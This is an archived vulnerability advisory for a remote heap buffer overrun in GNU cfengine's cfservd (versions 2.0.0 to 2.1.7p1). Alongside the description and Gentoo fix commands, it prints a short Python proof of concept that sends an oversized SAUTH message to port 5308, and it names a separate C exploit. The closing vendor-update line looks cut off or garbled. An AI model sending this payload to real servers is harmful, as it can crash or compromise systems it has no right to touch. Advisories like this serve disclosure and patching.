BID:10899

GNU CFEngine AuthenticationDialogue Remote Heap Based Buffer Overrun Vulnerability

Info

GNU CFEngine AuthenticationDialogue Remote Heap Based Buffer Overrun Vulnerability

Bugtraq ID:	10899
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 09 2004 12:00AM
Updated:	Aug 09 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to Juan Pablo Martinez Kuhn from Core Security Technologies.
Vulnerable:	GNU Cfengine 2.1.7 p1 GNU Cfengine 2.1 .0a9 GNU Cfengine 2.1 .0a8 GNU Cfengine 2.1 .0a6 GNU Cfengine 2.0.7 p3 GNU Cfengine 2.0.7 p2 GNU Cfengine 2.0.7 p1 GNU Cfengine 2.0.7 GNU Cfengine 2.0.6 GNU Cfengine 2.0.5 pre2 GNU Cfengine 2.0.5 pre GNU Cfengine 2.0.5 b1 GNU Cfengine 2.0.5 GNU Cfengine 2.0.4 GNU Cfengine 2.0.3 GNU Cfengine 2.0.2 GNU Cfengine 2.0.1 GNU Cfengine 2.0 .8p1 GNU Cfengine 2.0 .8 GNU Cfengine 2.0 .0

Not Vulnerable:	GNU Cfengine 2.1.9 GNU Cfengine 2.1.8

Discussion

GNU CFEngine AuthenticationDialogue Remote Heap Based Buffer Overrun Vulnerability

GNU cfengine cfservd is reported prone to a remote heap-based buffer overrun vulnerability. The vulnerability presents itself in the cfengine cfservd AuthenticationDialogue() function.

The issue exists due to a lack of sufficient boundary checks performed on challenge data that is received from a client.

Because the size of the buffer, the size of data copied in a memcpy() operation, and the data copied are all controlled by the attacker, a remote attacker may likely exploit this condition to corrupt in-line heap based memory management data.

cfservd employs an IP based access control method. This access control must be bypassed prior to exploitation. This may hinder exploitation attempts.

This vulnerability is reported to affect versions 2.0.0 to 2.1.7p1 of cfengine cfservd.

Exploit / POC

GNU CFEngine AuthenticationDialogue Remote Heap Based Buffer Overrun Vulnerability

An exploit was developed by the discoverers of this vulnerability. This exploit is not believed to be public. The following proof of concept is available:

import struct
import socket
import time

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.1',5308)

# CAUTH command
p = 'k' # status
p += '0000023' # len
p += 'CAUTH ' # command
p += 'HARE KRISHNA HARE'
print 'sending CAUTH command...'
s.send(p)
# SAUTH command
p = 'k' # status
p += '0003000' # len
p += 'SAUTH ' # command
p += 'n' # iscrypt
p += '00000010 ' # crypt_len
p += '00001000' # nonce_len
p += 'X' * 3000
print 'sending SAUTH command...'
s.send(p)

a = s.recv(4096)
print a

Exploit code cfengine_hof.c has been supplied by jsk exworm <exworm.hostrocket.com>.

/data/vulnerabilities/exploits/cfengine_hof.c

Solution / Fix

GNU CFEngine AuthenticationDialogue Remote Heap Based Buffer Overrun Vulnerability

Solution:
Gentoo has released an advisory to provide updates. Updates may be applied with the following commands:
emerge sync
emerge -pv ">=net-misc/cfengine-2.1.8"
emerge ">=net-misc/cfengine-2.1.8"

The vendor has released an update to address this issue:

GNU Cfengine 2.0 .0